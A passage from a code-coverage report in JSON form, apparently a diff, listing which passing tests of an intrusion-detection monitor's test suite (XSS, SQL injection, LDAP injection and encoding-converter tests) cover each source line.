class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel136": { - "header": "35 tests cover line 136", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel139": { - "header": "35 tests cover line 139", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel140": { - "header": "35 tests cover line 140", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel142": { - "header": "1 test covers line 142", - "body": "<ul><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel143": { - "header": "1 test covers line 143", - "body": "<ul><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel144": { - "header": "1 test covers line 144", - "body": "<ul><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel145": { - "header": "1 test covers line 145", - "body": "<ul><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel146": { - "header": "1 test covers line 146", - "body": "<ul><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel148": { - "header": "1 test covers line 148", - "body": "<ul><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel149": { - "header": "1 test covers line 149", - "body": "<ul><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel151": { - "header": "1 test covers line 151", - "body": "<ul><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel152": { - "header": "1 test covers line 152", - "body": "<ul><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel153": { - "header": "1 test covers line 153", - "body": "<ul><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel154": { - "header": "1 test covers line 154", - "body": "<ul><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel155": { - "header": "1 test covers line 155", - "body": "<ul><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel157": { - "header": "1 test covers line 157", - "body": "<ul><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel158": { - "header": "1 test covers line 158", - "body": "<ul><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel159": { - "header": "1 test covers line 159", - "body": "<ul><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel161": { - "header": "1 test covers line 161", - "body": "<ul><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel162": { - "header": "1 test covers line 162", - "body": "<ul><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel163": { - "header": "1 test covers line 163", - "body": "<ul><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel164": { - "header": "1 test covers line 164", - "body": "<ul><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel166": { - "header": "1 test covers line 166", - "body": "<ul><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel167": { - "header": "1 test covers line 167", - "body": "<ul><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel170": { - "header": "35 tests cover line 170", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel172": { - "header": "1 test covers line 172", - "body": "<ul><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel173": { - "header": "1 test covers line 173", - "body": "<ul><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel174": { - "header": "1 test covers line 174", - "body": "<ul><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel176": { - "header": "1 test covers line 176", - "body": "<ul><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel177": { - "header": "1 test covers line 177", - "body": "<ul><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel178": { - "header": "1 test covers line 178", - "body": "<ul><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel179": { - "header": "1 test covers line 179", - "body": "<ul><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel180": { - "header": "1 test covers line 180", - "body": "<ul><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel181": { - "header": "1 test covers line 181", - "body": "<ul><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel182": { - "header": "1 test covers line 182", - "body": "<ul><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel183": { - "header": "1 test covers line 183", - "body": "<ul><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel184": { - "header": "1 test covers line 184", - "body": "<ul><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel187": { - "header": "35 tests cover line 187", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel189": { - "header": "2 tests cover line 189", - "body": "<ul><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel190": { - "header": "2 tests cover line 190", - "body": "<ul><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel191": { - "header": "2 tests cover line 191", - "body": "<ul><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel193": { - "header": "2 tests cover line 193", - "body": "<ul><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel194": { - "header": "2 tests cover line 194", - "body": "<ul><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel195": { - "header": "2 tests cover line 195", - "body": "<ul><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel196": { - "header": "2 tests cover line 196", - "body": "<ul><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel197": { - "header": "2 tests cover line 197", - "body": "<ul><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel198": { - "header": "2 tests cover line 198", - "body": "<ul><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel199": { - "header": "2 tests cover line 199", - "body": "<ul><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel200": { - "header": "2 tests cover line 200", - "body": "<ul><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel201": { - "header": "2 tests cover line 201", - "body": "<ul><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel203": { - "header": "35 tests cover line 203", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel216": { - "header": "35 tests cover line 216", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel218": { - "header": "35 tests cover line 218", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel231": { - "header": "35 tests cover line 231", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li 